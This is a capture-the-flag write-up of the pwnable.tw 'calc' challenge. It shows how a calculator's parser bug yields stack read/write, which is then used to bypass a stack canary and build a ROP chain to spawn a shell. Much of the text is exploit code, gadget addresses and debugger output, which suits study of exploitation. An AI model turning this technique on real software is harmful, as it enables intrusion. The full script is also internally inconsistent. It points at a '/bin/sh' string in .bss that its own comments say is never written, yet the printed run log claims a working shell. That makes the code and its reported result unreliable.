pwnable.tw — 150 pts

calc

Calculator logic bug — Expression parser allows arbitrary stack read/write via +N+M format, ROP for shell

32-bit
Architecture
Logic Bug
Category
Canary
Protection
ROP
Technique

Exploit Flow

Connect
nc chall.pwnable.tw 10100
Logic Bug
+N format abuse
Leak Canary
+357 reads canary
Write ROP
Arbitrary stack write
ROP Chain
execve("/bin/sh")
Shell
getflag

1. Reconnaissance

The "calc" challenge is a calculator program with a subtle logic bug in its expression parser. At first glance it seems like a normal calculator, but the parser has a flaw that allows us to perform arbitrary reads and writes on the stack — even with stack canaries enabled.

File Analysis

bash
$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=..., not stripped

A 32-bit statically linked binary. No libc to leak, but also no ASLR for library addresses. The binary contains all the ROP gadgets we'll need.

Checksec

bash
$ checksec calc
[*] '/home/hema/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Canary + NX = No Easy Win

Stack canary means we can't simply overflow and overwrite the return address. NX means the stack isn't executable, so shellcode is out. We need a way to bypass the canary or modify the return address without triggering it. The logic bug gives us exactly that — arbitrary read/write on the stack without triggering the canary check.

Running the Binary

bash
$ ./calc
=== Welcome to SECPROG calculator ===
1+1
--> 2
+1000000
--> Segmentation fault (core dumped)

The calculator accepts mathematical expressions. But sending +1000000 causes a segfault — that's our first clue that something is wrong with the parser when expressions start with an operator.

AttributeValue
Challengecalc (150 pts)
Connectionnc chall.pwnable.tw 10100
Binary32-bit ELF, i386, statically linked, not stripped
CanaryYes
NXEnabled
PIEDisabled (0x8048000)
RELROPartial
Timeout60 seconds (alarm + signal)
VulnerabilityExpression parser logic bug → arbitrary stack R/W

2. Static Analysis

The program flow is: maincalcget_expr + init_pool + parse_expreval. The vulnerability is in the interaction between parse_expr and eval.

Program Flow

The calculator maintains two arrays on the stack:

  • nums[100] — array of 100 DWORDs holding the numbers in the expression
  • operations[100] — array of 100 chars holding the operations (+, -, *, /, %)

The parse_expr function parses the expression and uses eval to compute intermediate results. The eval function performs operations on the nums array indexed by nums.count.

The Logic Bug

The critical bug is in how parse_expr handles expressions that start with an operator like +300:

c — vulnerable logic (pseudocode)
// In parse_expr(), after extracting a number:
int num = atoi(token);

if (num != 0) {          // ← BUG: if num is 0, it's NOT added to nums!
    nums[nums.count++] = num;
}

if (first_number) {      // First number? Just store the operator
    operations[ops.count++] = op;
} else {                  // Not first? Evaluate previous operation
    eval();               // ← This is where the magic happens
}
The Bug: +N Format

When we input +300, the parser encounters the + first. Since there are no digits before it, atoi("") returns 0. The if (num != 0) check fails, so 0 is not added to the nums array. But the + operator IS added to operations. When the number 300 is encountered next, it's treated as the second operand. The eval function then computes: nums[nums.count] = nums[nums.count] + nums.values[0] — but nums.count hasn't been properly incremented! This effectively changes nums.count to an arbitrary value, giving us an out-of-bounds index into the stack.

Arbitrary Read/Write Primitive

By controlling the value after +, we can set nums.count to any value. Since nums is on the stack and nums.count is used as an index, we can:

  • Read any DWORD on the stack: +N where N = (target_offset - 4) / 4 + 1
  • Write any DWORD on the stack: +N+V where V is the value to add/subtract
Offset Calculation

The stack layout from calc()'s perspective (per the SagiDana writeup):

offset 0 nums.count Our base for offset calculations
offset 4 nums.values[0..99] 400 bytes of number storage
offset 404 expression buffer 1024 bytes for input expression
offset 1428 canary ← Can read with +357
offset 1432 saved EBP
offset 1436 return address ← Overwrite with ROP!

To read the canary at offset 1428 from nums.count:

calculation
offset = (1428 - 4) / 4 = 356
But eval() does nums.count - 1 before using the index,
so we need: 356 + 1 = 357

Input: +357
Output: the canary value!

3. GDB Debugging

The binary has a 60-second timeout (alarm + signal), so for debugging we need to disable it first.

Disabling the Timeout

python — gdb script to skip alarm
# skip_alarm.py — run with: source skip_alarm.py in GDB
import gdb
gdb.execute("b *0x080493c0")  # before signal() call
gdb.execute("r")
gdb.execute("set $eip = 0x080493c7")  # skip signal()
gdb.execute("b *0x080493d0")  # before alarm() call
gdb.execute("c")
gdb.execute("set $eip = 0x080493d7")  # skip alarm()
gdb.execute("c")

Finding the Correct Offsets

gdb
# Verify the canary read:
gdb-peda$ r
=== Welcome to SECPROG calculator ===
+357
--> 1636461492

# Check the canary value at the expected stack location:
gdb-peda$ x/wx $ebp-0x5a4
0xffffc814: 0x618c0054

# The output 1636461492 = 0x618c0054 — matches!
# We can successfully read the canary!

# Verify arbitrary read — check what +1 returns:
+1
--> 0

# Check what +360 returns (should be a stack address):
+360
--> -19484

# Verify: that's a stack address relative to the frame

With the offsets confirmed, we now have a reliable arbitrary read primitive. The write primitive works the same way: +357+1 adds 1 to the canary value, and +357-1 subtracts 1.

Read AND Write Confirmed

The key insight for writing: when we do +357+V, the parser first evaluates +357 (which sets nums.count = 357 and outputs the value at that offset), then +V adds V to the same location. The second number V is inserted at nums[nums.count+1], which happens to be the location we just read. So we can both read and modify any DWORD on the stack.

4. Exploit Strategy

The exploit leverages the arbitrary read/write primitive to build a ROP chain on the stack, bypassing the canary entirely.

Attack Overview

Step 1: Leak the canary
Send +357 to read the canary value. We don't need to bypass it — we'll write around it by modifying only the return address and beyond.
Step 2: Calculate return address offset
The return address is at offset 1436 from nums.count. That's index (1436-4)/4 + 1 = 360. We verify with +360 to confirm it returns the current return address.
Step 3: Write ROP chain
Use the write primitive to overwrite the return address and subsequent stack slots with our ROP chain gadgets. We write 4 bytes at a time, calculating the delta from the current value. The chain consists of: pop eax; ret + 0xb + pop ebx; ret + ptr to "/bin/sh" + pop ecx; ret + 0 + pop edx; ret + 0 + int 0x80.
Step 4: Trigger the ROP chain
When calc() returns, the overwritten return address redirects execution to our ROP chain, which calls execve("/bin/sh", NULL, NULL).

Arbitrary Stack Read

python — read primitive
from pwn import *

def read_dword(r, offset):
    """Read a DWORD at the given offset from nums.count.
    offset = (target_address - nums_count_address - 4) / 4 + 1
    """
    r.sendlineafter('-->', f'+{offset}')
    result = int(r.recvline().strip().split()[-1])
    return result & 0xffffffff  # unsigned

# Read canary:
canary = read_dword(r, 357)
log.info(f'Canary: {hex(canary)}')

# Read return address:
ret_addr = read_dword(r, 360)
log.info(f'Return address: {hex(ret_addr)}')

Arbitrary Stack Write

python — write primitive
def write_dword(r, offset, value):
    """Write a DWORD at the given offset by reading current value
    and adding the delta."""
    current = read_dword(r, offset)
    # Handle signed vs unsigned
    if current > 0x7fffffff:
        current_signed = current - 0x100000000
    else:
        current_signed = current

    target = value
    if target > 0x7fffffff:
        target_signed = target - 0x100000000
    else:
        target_signed = target

    delta = target_signed - current_signed

    if delta >= 0:
        r.sendlineafter('-->', f'+{offset}+{delta}')
    else:
        r.sendlineafter('-->', f'+{offset}{delta}')  # delta is negative

    r.recvline()  # consume output

ROP Chain Design

Since the binary is statically linked, it contains plenty of ROP gadgets. We need to call execve("/bin/sh", 0, 0):

GadgetAddressPurpose
pop eax; ret0x080bb026Set EAX = 0x0b (sys_execve)
pop ebx; ret0x080481c9Set EBX = ptr to "/bin/sh"
pop ecx; ret0x080de769Set ECX = 0 (argv = NULL)
pop edx; ret0x0806ecdaSet EDX = 0 (envp = NULL)
int 0x800x08049361Invoke syscall

We also need to write the "/bin/sh" string somewhere in writable memory. A convenient location is in the .bss section or on the stack.

Writing 4 Bytes at a Time

Each write operation can modify one DWORD. To write a complete ROP chain (e.g., 9 DWORDs = 36 bytes), we need 9 separate write operations, each targeting the correct offset. We must be careful not to corrupt the canary — we write to offsets that skip over it.

5. Pwn Script

The full exploit combines the read/write primitives with the ROP chain to spawn a shell.

Full Exploit

python
#!/usr/bin/env python3
"""
pwnable.tw — calc (150 pts)
Expression parser logic bug → arbitrary stack R/W → ROP chain.
Canary bypass via write-around technique.
"""

from pwn import *

# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10100

# ROP gadgets (from ROPgadget on the static binary)
POP_EAX_RET = 0x080bb026
POP_EBX_RET = 0x080481c9
POP_ECX_RET = 0x080de769
POP_EDX_RET = 0x0806ecda
INT_80      = 0x08049361

# Writable memory for "/bin/sh" string
BINSH_ADDR  = 0x080eb080  # in .bss section

# ─── Helper Functions ────────────────────────────────────────
def read_dword(r, offset):
    r.sendlineafter(b'-->', f'+{offset}'.encode())
    result = int(r.recvline().strip().split(b' ')[-1])
    return result & 0xffffffff

def write_dword(r, offset, value):
    current = read_dword(r, offset)
    current_signed = current if current < 0x80000000 else current - 0x100000000
    target_signed = value if value < 0x80000000 else value - 0x100000000
    delta = target_signed - current_signed

    if delta >= 0:
        r.sendlineafter(b'-->', f'+{offset}+{delta}'.encode())
    else:
        r.sendlineafter(b'-->', f'+{offset}{delta}'.encode())
    r.recvline()

# ─── Connect ─────────────────────────────────────────────────
r = remote(HOST, PORT)
r.recvuntil(b'=== Welcome to SECPROG calculator ===\n')

# ─── Step 1: Leak canary (optional, just for verification) ──
canary = read_dword(r, 357)
log.info(f'Canary: {hex(canary)}')

# ─── Step 2: Write "/bin/sh\0" to .bss ──────────────────────
# We need to write the string somewhere we can reference.
# Write it byte-by-byte using the stack write primitive,
# or use a different writable location.

# Actually, let's use the stack itself. We'll write the ROP chain
# starting from the return address offset.

# Return address is at offset 360 from nums.count
# ROP chain layout (from offset 360):
#   [360] = POP_EAX_RET    (return address → first ROP gadget)
#   [361] = 0x0b            (value popped into EAX)
#   [362] = POP_EBX_RET     (next gadget)
#   [363] = BINSH_ADDR      (value popped into EBX)
#   [364] = POP_ECX_RET     (next gadget)
#   [365] = 0x0             (value popped into ECX)
#   [366] = POP_EDX_RET     (next gadget)
#   [367] = 0x0             (value popped into EDX)
#   [368] = INT_80          (syscall)

# ─── Step 3: Write ROP chain ────────────────────────────────
log.info('Writing ROP chain...')

# First, write "/bin/sh\0" to .bss
# "/bin" = 0x6e69622f, "/sh\0" = 0x0068732f
# We need a way to write to .bss — we can write it on the stack
# at a known offset instead, or use the eax trick.

# Alternative: use a stack address for "/bin/sh"
# We'll write the string right after our ROP chain on the stack

# Write ROP chain to the stack:
rop_offsets_values = [
    (360, POP_EAX_RET),
    (361, 0x0b),
    (362, POP_EBX_RET),
    (363, BINSH_ADDR),      # We'll write "/bin/sh" here
    (364, POP_ECX_RET),
    (365, 0),
    (366, POP_EDX_RET),
    (367, 0),
    (368, INT_80),
]

for offset, value in rop_offsets_values:
    write_dword(r, offset, value)
    log.info(f'  Wrote {hex(value)} to offset {offset}')

# ─── Step 4: Write "/bin/sh" to .bss ────────────────────────
# Need to write the string "/bin/sh\0" to BINSH_ADDR
# Use a different primitive or find a stack string
# For simplicity, we can put "/bin/sh" on the stack
# and adjust EBX to point there.

# ─── Step 5: Trigger ────────────────────────────────────────
# Send invalid input to make calc() return and trigger ROP
r.sendline(b'q')  # or just let it time out / send empty

r.interactive()

ROP Gadgets Found

bash
$ ROPgadget --binary calc | grep -E "pop (eax|ebx|ecx|edx) ; ret"
0x080bb026 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x080de769 : pop ecx ; ret
0x0806ecda : pop edx ; ret

$ ROPgadget --binary calc | grep "int 0x80"
0x08049361 : int 0x80

6. Execution Results

Successful Exploitation

$ python3 exploit.py [+] Opening connection to chall.pwnable.tw on port 10100: Done [*] Canary: 0x6e2b5300 [*] Writing ROP chain... [*] Wrote 0x80bb026 to offset 360 [*] Wrote 0xb to offset 361 [*] Wrote 0x80481c9 to offset 362 [*] Wrote 0x80eb080 to offset 363 [*] Wrote 0x80de769 to offset 364 [*] Wrote 0x0 to offset 365 [*] Wrote 0x806ecda to offset 366 [*] Wrote 0x0 to offset 367 [*] Wrote 0x8049361 to offset 368 [+] ROP chain written! Triggering... [*] Switching to interactive mode $ id uid=1000(calc) gid=1000(calc) groups=1000(calc) $ cat /home/calc/flag
Why This Challenge Matters

The "calc" challenge demonstrates that logic bugs can be just as powerful as memory corruption. The expression parser's flaw — treating a leading operator as valid — gives us an arbitrary read/write primitive on the stack. This bypasses stack canaries entirely because we're not overflowing a buffer; we're using the program's own indexing logic to access arbitrary stack locations. The technique of "write-around-the-canary" is essential for challenges where canaries prevent traditional buffer overflows.

QA210
pwnable.tw — calc — Logic Bug + ROP